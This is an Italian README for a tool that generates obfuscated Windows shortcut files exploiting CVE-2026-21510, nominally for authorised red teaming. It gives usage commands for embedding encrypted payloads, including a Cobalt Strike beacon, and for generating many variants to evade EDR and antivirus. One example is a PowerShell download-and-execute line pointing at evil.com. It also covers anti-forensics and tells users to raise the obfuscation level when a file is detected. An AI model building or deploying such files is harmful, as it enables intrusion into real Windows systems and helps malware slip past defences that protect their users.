
Genera file .lnk offuscati che sfruttano CVE-2026-21510 con LNK stomping, payload crittografati e anti-forense per test di penetrazione autorizzati e operazioni di red team.
README EpSiLoNPoInTlnk CVE-2026-21510 - Generatore di .LNK Strumento per la generazione di file .lnk che sfruttano la vulnerabilità CVE-2026-21510 (Windows ShellLink Remote Code Execution). Progettato per la ricerca offensiva in sicurezza, test di penetrazione autorizzati e analisi delle vulnerabilità.
Avviso Legale ⚠️ QUESTO STRUMENTO È DESTINATO ESCLUSIVAMENTE A UN USO LEGALE E AUTORIZZATO. Qualsiasi utilizzo non autorizzato contro sistemi o reti violerebbe le leggi locali e internazionali (es: Computer Fraud and Abuse Act (CFAA), GDPR, Legge Godfrain in Francia). L'autore declina ogni responsabilità in caso di uso improprio. (Vedi la Clausola di Non Responsabilità di seguito.)
Descrizione Questo generatore crea file .lnk offuscati per sfruttare CVE-2026-21510, una vulnerabilità nell'elaborazione dei collegamenti di Windows. Integra:
LNK Stomping (5 varianti: dot, path_segment, relative, double_extension, unicode)
PropertyStore con CLSID casuali e PKEY
KnownFolderDataBlock (KnownFolderID casuali o mirati)
EnvironmentVariableDataBlock (offuscamento Unicode, variabili dinamiche)
Offuscamento (Livelli 1-5: TrackerDataBlock, ConsoleDataBlock, blocchi casuali)
Payload incorporati e cifrati (AES-256-CBC + XOR)
Anti-Forensics (timestamp a 0, dimensione file a 0, metadati minimi)
Bypass EDR/AV (processi legittimi, argomenti offuscati in PowerShell)
Generazione di varianti casuali (10+ varianti uniche per evitare le firme)
Prerequisiti Sistema OS: Windows (per testare i .lnk generati) o Linux/macOS (per la generazione).
Python: ≥ 3.10. Dipendenze: pip install pycryptodome
Strumenti Consigliati Analisi: PEStudio, Detect It Easy (DIE)
Debug: x64dbg, WinDbg
Test: Macchina virtuale Windows (es: Windows 10/11 su VirtualBox) isolata.
Installazione Clonare il repository: git clone https://github.com/EpSiLoNPoInT/EpSiLoNPoInTlnk.git cd EpSiLoNPoInTlnk Installare le dipendenze: pip install -r requirements.txt (Facoltativo) Creare un ambiente virtuale: python -m venv venv source venv/bin/activate # Linux/macOS venv\Scripts\activate # Windows
Utilizzo
Generazione Base python lnkstomperpoint.py --target "C:\Windows\System32\cmd.exe" --args "/c calc.exe" --output exploit.lnk Genera un .lnk che sfrutta CVE-2026-21510 per avviare calc.exe.
Opzioni Avanzate Opzione Descrizione Valore predefinito --target Percorso di destinazione (es: C:\Windows\System32\cmd.exe) C:\Windows\System32\cmd.exe --args Argomenti per la destinazione (es: /c whoami) /c calc.exe --output Percorso di output del .lnk ./EpSiLoNPoInTlnk_[TIMESTAMP].lnk --working-dir Directory di lavoro C:\Windows\System32 --description Descrizione del collegamento Stringa casuale --unc Usa un percorso UNC (?\C:...) False --lnk-stomping Abilita il LNK Stomping True --stomping-variant Variante di LNK Stomping (dot, path_segment, relative, double_extension, unicode, random) random --obfuscation Aggiunge blocchi ExtraData inutili True --obfuscation-level Livello di offuscamento (1-5) 5 --embed-payload Percorso di un file da incorporare (es: payload.bin) None --encrypt-payload Cifra il payload (AES-256-CBC + XOR) True --anti-forensics Applica tecniche anti-forensics True --randomize-clsid Randomizza il CLSID nel PropertyStore True --randomize-known-folder Randomizza il KnownFolderID True --obfuscate-arguments Offusca gli argomenti (PowerShell) True --generate-variants Genera N varianti casuali 0 --debug Modalità debug avanzata (log dettagliati) False
Esempi
Esempio 1: Exploit con Payload Incorporato
python lnkstomperpoint.py
--target "C:\Windows\System32\cmd.exe"
--args "/c payload.exe"
--embed-payload ./malware.bin
--output exploit_with_payload.lnk
--obfuscation-level 5
--anti-forensics
Genera un .lnk con un payload cifrato (AES-256 + XOR) e offuscato.
Esempio 2: Generazione di 10 Varianti Casuali
python lnkstomperpoint.py
--target "C:\Windows\System32\powershell.exe"
--args "-nop -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/shellcode.ps1')"
--generate-variants 10
--output-dir ./variants
Crea 10 varianti uniche per evitare le firme EDR/AV.
Esempio 3: Modalità Minimalista (per test)
python lnkstomperpoint.py
--target "C:\Windows\System32\notepad.exe"
--obfuscation False
--anti-forensics False
--output minimal_exploit.lnk
Genera un .lnk non offuscato (per analisi o debug).
Funzionamento Tecnico
Intestazione ShellLink (0x4C byte fissi + offset): LinkCLSID: 00021401-0000-0000-C000-000000000046 (obbligatorio). LinkFlags: Configurato per attivare HasRelativePath, HasWorkingDir, IsUnicode, ecc.
StringData: RelativePath: Percorso di destinazione (con LNK Stomping se attivato). WorkingDir: Directory di lavoro (es: C:\Windows\System32). Arguments: Argomenti offuscati (PowerShell, cmd, ecc.).
ExtraData Blocks (ordine critico): PropertyStoreDataBlock: Contiene PKEY_AppUserModel_ID (CLSID casuale). KnownFolderDataBlock: Punta a una cartella di sistema (es: %SystemRoot%). EnvironmentVariableDataBlock: Forza l'espansione delle variabili prima del Mark-of-the-Web (MotW). Blocchi di Offuscamento (in base a obfuscation_level): TrackerDataBlock (Livello 1) ConsoleDataBlock (Livello 2) DarwinDataBlock, ShimDataBlock, ecc. (Livelli 3-5)
Payload Incorporato (se --embed-payload): Cifrato con AES-256-CBC + XOR.
Il payload viene cifrato con AES-256-CBC (chiave casuale da 32 byte, IV da 16 byte).
Viene applicato un livello XOR con i primi 16 byte della chiave AES.
La chiave e l'IV sono memorizzati in un ShimDataBlock per la decifratura successiva.
Test e Validazione
La dimensione minima del file.
La validità di HeaderSize e CLSID.
La presenza dei LinkFlags richiesti.
La struttura dei blocchi ExtraData (PropertyStore, KnownFolder, ecc.).
Esecuzione (in un ambiente isolato): Fare doppio clic sul .lnk e osservare il comportamento. Usare Process Monitor (ProcMon) per analizzare le chiamate di sistema.
Rilevamento EDR/AV: Testare con strumenti come Windows Defender o CrowdStrike. Se il .lnk viene rilevato, aumentare obfuscation_level o disattivare alcune opzioni.
Casi d'Uso Scenario Comando Descrizione Test di Penetrazione --target "C:\Windows\System32\cmd.exe" --args "/c whoami" Verifica se l'exploit funziona su una macchina target. Red Team --embed-payload ./cobaltstrike_beacon.bin --obfuscation-level 5 Genera un .lnk con un payload Cobalt Strike offuscato. Ricerca --generate-variants 50 --output-dir ./samples Crea 50 varianti per testare le rilevazioni EDR. Debug --debug --obfuscation False Mostra log dettagliati per analizzare la struttura del .lnk. Contributi I contributi sono benvenuti! Ecco come contribuire:
Fork del progetto.
Crea un branch (git checkout -b feature/nuova-funzionalità).